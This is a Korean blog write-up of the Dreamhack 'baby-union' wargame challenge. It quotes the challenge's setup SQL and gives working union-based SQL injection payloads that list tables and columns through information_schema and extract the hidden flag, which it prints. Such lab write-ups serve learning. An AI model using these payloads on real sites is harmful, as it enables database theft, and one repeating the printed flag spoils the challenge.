
안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번에는 baby-union에 관해 풀어보겠습니다.
https://dreamhack.io/wargame/challenges/984
애기 유니온입니다 하지만 문제와 내용을 풀어보다보면 전혀 애기하지 않죠

// init.sql의 sql코드
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE 구라 테이블 (
idx int auto_increment primary key,
구라 컬럼1 varchar(128) not null,
구라 컬럼2 varchar(128) not null,
구라 컬럼3 varchar(128) not null,
구라 컬럼4 varchar(128) not null
);
INSERT INTO 구라 테이블 (구라 컬럼1, 구라 컬럼2, 구라 컬럼3, 구라 컬럼4) values ('flag is ', 'DH{sam','ple','flag}');
웹 페이지를 구성하는 파이썬 코드만 보면 필터링 하나 없는 정말 순수한 코드 그 자체입니다만...
여기서 아주 사소하고 앙증맞은 문제는 sql 코드에서는 저희가 구할 플래그가 속한 테이블과 컬럼명을 모른다는 점입니다
뭐, 일단은 컬럼이 4개 있다는 것까지는 알겠네요.
(설마 구라 테이블과 구라 컬럼을 그대로 하시는 순수한 분은 없겠죠?)

구라 테이블을 알아내기 위해 다음과 같은 union을 이용한 쿼리를 짜봅시다
' union
select null,table_name,null,null
from information_schema.tables #
쭉 내려가다보면 다음과 같은 수상한 (furry) 테이블이 보입니다.
이제 onlyflag 테이블의 컬럼을 알아내봅시다
' union
select null,column_name,null,null
from information_schema.columns
where table_name="onlyflag" #
이렇게 다음과 같은 컬럼들이 보입니다 이제 데이터를 추출해봅시다.
' union
select svalue,sflag,sname,sclose
from onlyflag #

다음과 같은 플래그가 나오는 걸 볼 수 있습니다
flag : DH{57033624d7f142f57f13
9b4c9e84bd78da77b4406896
c386672f0cbb016f5873}
평가 : union based sql injection을 배우기에는 매우 적합한 문제.
